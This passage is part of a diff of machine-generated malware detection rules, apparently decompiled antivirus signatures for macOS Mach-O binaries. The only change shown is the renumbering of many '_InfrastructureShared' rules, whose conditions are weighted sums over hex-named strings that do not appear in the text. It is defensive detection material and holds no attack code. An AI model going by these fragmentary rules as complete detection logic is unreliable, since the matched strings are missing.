1)*16675+(#a_53_1 & 1)*26485+(#a_79_2 & 1)*11892+(#a_74_3 & 1)*25458) >=3 } -rule _InfrastructureShared_21249{ +rule _InfrastructureShared_22533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280376,7 +296833,7 @@ rule _InfrastructureShared_21249{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25458+(#a_52_2 & 1)*20550+(#a_6f_3 & 1)*29816) >=4 } -rule _InfrastructureShared_21250{ +rule _InfrastructureShared_22534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -280389,7 +296846,7 @@ rule _InfrastructureShared_21250{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25697+(#a_6e_2 & 1)*25344+(#a_74_3 & 1)*26983) >=5 } -rule _InfrastructureShared_21251{ +rule _InfrastructureShared_22535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -280403,7 +296860,7 @@ rule _InfrastructureShared_21251{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*27424+(#a_2e_2 & 1)*28257+(#a_72_3 & 1)*23297+(#a_6f_4 & 1)*26990) >=5 } -rule _InfrastructureShared_21252{ +rule _InfrastructureShared_22536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -280416,7 +296873,7 @@ rule _InfrastructureShared_21252{ ((#a_46_0 & 1)*16675+(#a_5b_1 & 1)*5120+(#a_78_2 & 1)*25710+(#a_00_3 & 1)*30753) >=400 } -rule _InfrastructureShared_21253{ +rule _InfrastructureShared_22537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -280428,7 +296885,7 @@ rule _InfrastructureShared_21253{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*22528+(#a_73_2 & 1)*21295) >=3 } -rule _InfrastructureShared_21254{ +rule _InfrastructureShared_22538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 06 00 21 " @@ -280443,7 +296900,7 @@ rule _InfrastructureShared_21254{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*30061+(#a_65_2 & 1)*17229+(#a_65_3 & 1)*24881+(#a_6f_4 & 1)*28530+(#a_65_5 & 1)*26479) >=3 } -rule _InfrastructureShared_21255{ +rule _InfrastructureShared_22539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280456,7 +296913,7 @@ rule _InfrastructureShared_21255{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28279+(#a_21_2 & 1)*11874+(#a_63_3 & 1)*26736) >=4 } -rule _InfrastructureShared_21256{ +rule _InfrastructureShared_22540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -280469,7 +296926,7 @@ rule _InfrastructureShared_21256{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28530+(#a_65_2 & 1)*26479+(#a_5f_3 & 1)*14456) >=6 } -rule _InfrastructureShared_21257{ +rule _InfrastructureShared_22541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -280481,7 +296938,7 @@ rule _InfrastructureShared_21257{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25441+(#a_4d_2 & 1)*19502) >=3 } -rule _InfrastructureShared_21258{ +rule _InfrastructureShared_22542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280493,7 +296950,7 @@ rule _InfrastructureShared_21258{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*21881+(#a_32_3 & 1)*25699) >=3 } -rule _InfrastructureShared_21259{ +rule _InfrastructureShared_22543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280506,7 +296963,7 @@ rule _InfrastructureShared_21259{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_21260{ +rule _InfrastructureShared_22544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -280520,7 +296977,7 @@ rule _InfrastructureShared_21260{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25445+(#a_78_2 & 1)*18734+(#a_58_3 & 1)*17486+(#a_57_4 & 1)*17408) >=4 } -rule _InfrastructureShared_21261{ +rule _InfrastructureShared_22545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 21 " @@ -280535,7 +296992,7 @@ rule _InfrastructureShared_21261{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*25959+(#a_52_2 & 1)*22528+(#a_01_3 & 1)*28009+(#a_63_4 & 1)*29486+(#a_46_5 & 1)*16675) >=5 } -rule _InfrastructureShared_21262{ +rule _InfrastructureShared_22546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -280547,7 +297004,7 @@ rule _InfrastructureShared_21262{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25966+(#a_65_4 & 1)*11885) >=3 } -rule _InfrastructureShared_21263{ +rule _InfrastructureShared_22547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -280560,7 +297017,7 @@ rule _InfrastructureShared_21263{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28520+(#a_63_3 & 1)*30322+(#a_65_4 & 1)*11636) >=6 } -rule _InfrastructureShared_21264{ +rule _InfrastructureShared_22548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -280572,7 +297029,7 @@ rule _InfrastructureShared_21264{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27951+(#a_63_2 & 1)*19770) >=3 } -rule _InfrastructureShared_21265{ +rule _InfrastructureShared_22549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280585,7 +297042,7 @@ rule _InfrastructureShared_21265{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*12144+(#a_72_2 & 1)*28257+(#a_63_3 & 1)*19820) >=3 } -rule _InfrastructureShared_21266{ +rule _InfrastructureShared_22550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280598,7 +297055,7 @@ rule _InfrastructureShared_21266{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*16687+(#a_2f_2 & 1)*20323+(#a_6c_3 & 1)*28769) >=4 } -rule _InfrastructureShared_21267{ +rule _InfrastructureShared_22551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280610,7 +297067,7 @@ rule _InfrastructureShared_21267{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28233+(#a_6e_3 & 1)*17268) >=4 } -rule _InfrastructureShared_21268{ +rule _InfrastructureShared_22552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -280624,7 +297081,7 @@ rule _InfrastructureShared_21268{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*0) >=5 } -rule _InfrastructureShared_21269{ +rule _InfrastructureShared_22553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -280637,7 +297094,7 @@ rule _InfrastructureShared_21269{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29793+(#a_6e_2 & 1)*21551+(#a_4e_4 & 1)*24400) >=4 } -rule _InfrastructureShared_21270{ +rule _InfrastructureShared_22554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -280650,7 +297107,7 @@ rule _InfrastructureShared_21270{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26739+(#a_53_2 & 1)*21327+(#a_69_3 & 1)*24931) >=5 } -rule _InfrastructureShared_21271{ +rule _InfrastructureShared_22555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -280663,7 +297120,7 @@ rule _InfrastructureShared_21271{ ((#a_46_0 & 1)*16675+(#a_73_2 & 1)*29486+(#a_6e_3 & 1)*12148+(#a_76_4 & 1)*28005) >=6 } -rule _InfrastructureShared_21272{ +rule _InfrastructureShared_22556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,08 00 08 00 04 00 21 " @@ -280676,7 +297133,7 @@ rule _InfrastructureShared_21272{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26691+(#a_69_2 & 1)*29801+(#a_6e_3 & 1)*25701) >=8 } -rule _InfrastructureShared_21273{ +rule _InfrastructureShared_22557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 07 00 21 " @@ -280692,7 +297149,7 @@ rule _InfrastructureShared_21273{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*20595+(#a_4d_2 & 1)*16725+(#a_74_3 & 1)*24948+(#a_6e_4 & 1)*12115+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=3 } -rule _InfrastructureShared_21274{ +rule _InfrastructureShared_22558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280705,7 +297162,7 @@ rule _InfrastructureShared_21274{ ((#a_46_0 & 1)*16675+(#a_71_1 & 1)*18688+(#a_6c_2 & 1)*24948+(#a_64_3 & 1)*29285) >=4 } -rule _InfrastructureShared_21275{ +rule _InfrastructureShared_22559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -280718,7 +297175,7 @@ rule _InfrastructureShared_21275{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26996+(#a_6b_2 & 1)*25975+(#a_65_3 & 1)*24933) >=6 } -rule _InfrastructureShared_21276{ +rule _InfrastructureShared_22560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -280730,7 +297187,7 @@ rule _InfrastructureShared_21276{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*24941+(#a_2f_3 & 1)*20323) >=2 } -rule _InfrastructureShared_21277{ +rule _InfrastructureShared_22561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -280742,7 +297199,7 @@ rule _InfrastructureShared_21277{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26723+(#a_2d_2 & 1)*29795) >=3 } -rule _InfrastructureShared_21278{ +rule _InfrastructureShared_22562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -280754,7 +297211,7 @@ rule _InfrastructureShared_21278{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*24933+(#a_65_4 & 1)*25964) >=3 } -rule _InfrastructureShared_21279{ +rule _InfrastructureShared_22563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -280768,7 +297225,7 @@ rule _InfrastructureShared_21279{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*18027+(#a_43_2 & 1)*21327+(#a_73_3 & 1)*27715+(#a_3a_4 & 1)*21840) >=5 } -rule _InfrastructureShared_21280{ +rule _InfrastructureShared_22564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280781,7 +297238,7 @@ rule _InfrastructureShared_21280{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*21295+(#a_41_2 & 1)*20538+(#a_90_3 & 1)*-31928) >=4 } -rule _InfrastructureShared_21281{ +rule _InfrastructureShared_22565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -280792,7 +297249,7 @@ rule _InfrastructureShared_21281{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-5648) >=2 } -rule _InfrastructureShared_21282{ +rule _InfrastructureShared_22566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280805,7 +297262,7 @@ rule _InfrastructureShared_21282{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*19795+(#a_63_2 & 1)*24941+(#a_73_3 & 1)*28263) >=3 } -rule _InfrastructureShared_21283{ +rule _InfrastructureShared_22567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280818,7 +297275,7 @@ rule _InfrastructureShared_21283{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29811+(#a_53_2 & 1)*25441+(#a_6d_3 & 1)*25424) >=3 } -rule _InfrastructureShared_21284{ +rule _InfrastructureShared_22568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -280831,7 +297288,7 @@ rule _InfrastructureShared_21284{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29550+(#a_4d_2 & 1)*21076+(#a_54_3 & 1)*-32502) >=5 } -rule _InfrastructureShared_21285{ +rule _InfrastructureShared_22569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -280843,7 +297300,7 @@ rule _InfrastructureShared_21285{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*-32499+(#a_00_3 & 1)*0) >=6 } -rule _InfrastructureShared_21286{ +rule _InfrastructureShared_22570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -280855,7 +297312,7 @@ rule _InfrastructureShared_21286{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*25708+(#a_61_2 & 1)*29550) >=3 } -rule _InfrastructureShared_21287{ +rule _InfrastructureShared_22571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280868,7 +297325,7 @@ rule _InfrastructureShared_21287{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*16672+(#a_78_2 & 1)*19247+(#a_4b_3 & 1)*29537) >=4 } -rule _InfrastructureShared_21288{ +rule _InfrastructureShared_22572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280881,7 +297338,7 @@ rule _InfrastructureShared_21288{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25953+(#a_53_2 & 1)*25441+(#a_61_3 & 1)*275) >=4 } -rule _InfrastructureShared_21289{ +rule _InfrastructureShared_22573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -280894,7 +297351,7 @@ rule _InfrastructureShared_21289{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*28492+(#a_4d_2 & 1)*21076+(#a_72_3 & 1)*25939) >=4 } -rule _InfrastructureShared_21290{ +rule _InfrastructureShared_22574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 08 00 21 " @@ -280911,7 +297368,7 @@ rule _InfrastructureShared_21290{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25+(#a_65_2 & 1)*12115+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*0+(#a_00_7 & 1)*0) >=4 } -rule _InfrastructureShared_21291{ +rule _InfrastructureShared_22575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -280924,7 +297381,7 @@ rule _InfrastructureShared_21291{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*20300+(#a_72_2 & 1)*27491+(#a_6e_3 & 1)*28003) >=3 } -rule _InfrastructureShared_21292{ +rule _InfrastructureShared_22576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280937,7 +297394,7 @@ rule _InfrastructureShared_21292{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28265+(#a_54_2 & 1)*18490+(#a_6e_3 & 1)*26988) >=4 } -rule _InfrastructureShared_21293{ +rule _InfrastructureShared_22577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -280950,7 +297407,7 @@ rule _InfrastructureShared_21293{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_21294{ +rule _InfrastructureShared_22578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -280964,7 +297421,7 @@ rule _InfrastructureShared_21294{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*16750+(#a_72_2 & 1)*25445+(#a_01_3 & 1)*25939+(#a_72_4 & 1)*25439) >=4 } -rule _InfrastructureShared_21295{ +rule _InfrastructureShared_22579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -280978,7 +297435,7 @@ rule _InfrastructureShared_21295{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25963+(#a_6c_2 & 1)*16687+(#a_50_3 & 1)*25972+(#a_01_4 & 1)*29545) >=5 } -rule _InfrastructureShared_21296{ +rule _InfrastructureShared_22580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -280992,7 +297449,7 @@ rule _InfrastructureShared_21296{ ((#a_4c_0 & 1)*21539+(#a_73_2 & 1)*30051+(#a_63_3 & 1)*19759+(#a_6e_4 & 1)*26996+(#a_01_5 & 1)*25964) >=6 } -rule _InfrastructureShared_21297{ +rule _InfrastructureShared_22581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281005,7 +297462,7 @@ rule _InfrastructureShared_21297{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28015+(#a_53_2 & 1)*25441+(#a_65_3 & 1)*28015) >=4 } -rule _InfrastructureShared_21298{ +rule _InfrastructureShared_22582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281019,7 +297476,7 @@ rule _InfrastructureShared_21298{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*29285+(#a_65_2 & 1)*17229+(#a_50_3 & 1)*26990+(#a_03_4 & 1)*27753) >=4 } -rule _InfrastructureShared_21299{ +rule _InfrastructureShared_22583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -281033,7 +297490,7 @@ rule _InfrastructureShared_21299{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29811+(#a_63_2 & 1)*19712+(#a_53_3 & 1)*14930+(#a_6d_4 & 1)*25344) >=5 } -rule _InfrastructureShared_21300{ +rule _InfrastructureShared_22584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -281046,7 +297503,7 @@ rule _InfrastructureShared_21300{ ((#a_46_0 & 1)*16675+(#a_67_2 & 1)*11885+(#a_63_3 & 1)*19770+(#a_00_4 & 1)*16718) >=5 } -rule _InfrastructureShared_21301{ +rule _InfrastructureShared_22585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 21 " @@ -281059,7 +297516,7 @@ rule _InfrastructureShared_21301{ ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*28769+(#a_44_3 & 1)*22016+(#a_5f_5 & 1)*25204) >=5 } -rule _InfrastructureShared_21302{ +rule _InfrastructureShared_22586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 03 00 21 " @@ -281071,7 +297528,7 @@ rule _InfrastructureShared_21302{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29285+(#a_20_2 & 1)*16421) >=7 } -rule _InfrastructureShared_21303{ +rule _InfrastructureShared_22587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -281083,7 +297540,7 @@ rule _InfrastructureShared_21303{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25970+(#a_48_2 & 1)*21061) >=3 } -rule _InfrastructureShared_21304{ +rule _InfrastructureShared_22588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -281096,7 +297553,7 @@ rule _InfrastructureShared_21304{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29801+(#a_49_2 & 1)*26723+(#a_69_3 & 1)*25134) >=3 } -rule _InfrastructureShared_21305{ +rule _InfrastructureShared_22589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281108,7 +297565,7 @@ rule _InfrastructureShared_21305{ ((#a_46_0 & 1)*16675+(#a_6d_2 & 1)*25344+(#a_66_3 & 1)*25936) >=4 } -rule _InfrastructureShared_21306{ +rule _InfrastructureShared_22590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281122,7 +297579,7 @@ rule _InfrastructureShared_21306{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25963+(#a_2e_2 & 1)*24899+(#a_6c_3 & 1)*18031+(#a_6e_4 & 1)*12) >=4 } -rule _InfrastructureShared_21307{ +rule _InfrastructureShared_22591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -281134,7 +297591,7 @@ rule _InfrastructureShared_21307{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*10240+(#a_00_3 & 1)*0) >=6 } -rule _InfrastructureShared_21308{ +rule _InfrastructureShared_22592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -281145,7 +297602,7 @@ rule _InfrastructureShared_21308{ ((#a_46_0 & 1)*16675+(#a_6d_2 & 1)*12032) >=6 } -rule _InfrastructureShared_21309{ +rule _InfrastructureShared_22593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -281159,7 +297616,7 @@ rule _InfrastructureShared_21309{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*17481+(#a_69_2 & 1)*28784+(#a_72_3 & 1)*30565+(#a_50_4 & 1)*27753) >=6 } -rule _InfrastructureShared_21310{ +rule _InfrastructureShared_22594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281173,7 +297630,7 @@ rule _InfrastructureShared_21310{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24406+(#a_46_2 & 1)*16675+(#a_62_3 & 1)*27769+(#a_54_4 & 1)*18490) >=4 } -rule _InfrastructureShared_21311{ +rule _InfrastructureShared_22595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -281186,7 +297643,7 @@ rule _InfrastructureShared_21311{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*27769+(#a_54_2 & 1)*18490+(#a_5f_4 & 1)*30018) >=4 } -rule _InfrastructureShared_21312{ +rule _InfrastructureShared_22596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -281200,7 +297657,7 @@ rule _InfrastructureShared_21312{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*24932+(#a_50_2 & 1)*13642+(#a_3a_3 & 1)*21840+(#a_75_4 & 1)*8302) >=5 } -rule _InfrastructureShared_21313{ +rule _InfrastructureShared_22597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -281214,7 +297671,7 @@ rule _InfrastructureShared_21313{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28789+(#a_53_2 & 1)*25441+(#a_79_3 & 1)*28527+(#a_52_4 & 1)*4096) >=5 } -rule _InfrastructureShared_21314{ +rule _InfrastructureShared_22598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 21 " @@ -281228,7 +297685,7 @@ rule _InfrastructureShared_21314{ ((#a_46_0 & 1)*16675+(#a_72_2 & 1)*25971+(#a_70_3 & 1)*17722+(#a_01_4 & 1)*-32271+(#a_6f_5 & 1)*-13335) >=5 } -rule _InfrastructureShared_21315{ +rule _InfrastructureShared_22599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 07 00 21 " @@ -281244,7 +297701,7 @@ rule _InfrastructureShared_21315{ ((#a_46_0 & 1)*16675+(#a_87_1 & 1)*14210+(#a_00_2 & 1)*21581+(#a_43_3 & 1)*-27639+(#a_70_4 & 1)*29283+(#a_72_5 & 1)*25701+(#a_61_6 & 1)*29545) >=1 } -rule _InfrastructureShared_21316{ +rule _InfrastructureShared_22600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -281255,7 +297712,7 @@ rule _InfrastructureShared_21316{ ((#a_4c_0 & 1)*21539+(#a_b6_1 & 1)*21120) >=2 } -rule _InfrastructureShared_21317{ +rule _InfrastructureShared_22601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281268,7 +297725,7 @@ rule _InfrastructureShared_21317{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28527+(#a_6c_2 & 1)*28277+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_21318{ +rule _InfrastructureShared_22602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -281281,7 +297738,7 @@ rule _InfrastructureShared_21318{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29550+(#a_5f_3 & 1)*28013+(#a_65_4 & 1)*29295) >=4 } -rule _InfrastructureShared_21319{ +rule _InfrastructureShared_22603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -281295,7 +297752,7 @@ rule _InfrastructureShared_21319{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*11877+(#a_4f_2 & 1)*24909+(#a_6d_3 & 1)*28787+(#a_6f_4 & 1)*28789) >=5 } -rule _InfrastructureShared_21320{ +rule _InfrastructureShared_22604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -281309,7 +297766,7 @@ rule _InfrastructureShared_21320{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*11884+(#a_41_2 & 1)*26983+(#a_6c_3 & 1)*11883+(#a_00_4 & 1)*4) >=3 } -rule _InfrastructureShared_21321{ +rule _InfrastructureShared_22605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -281322,7 +297779,7 @@ rule _InfrastructureShared_21321{ ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*27756+(#a_3a_2 & 1)*21587+(#a_6f_3 & 1)*11894) >=4 } -rule _InfrastructureShared_21322{ +rule _InfrastructureShared_22606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -281337,7 +297794,7 @@ rule _InfrastructureShared_21322{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*0) >=4 } -rule _InfrastructureShared_21323{ +rule _InfrastructureShared_22607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 03 00 21 " @@ -281349,7 +297806,7 @@ rule _InfrastructureShared_21323{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20512+(#a_63_2 & 1)*19770) >=5 } -rule _InfrastructureShared_21324{ +rule _InfrastructureShared_22608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 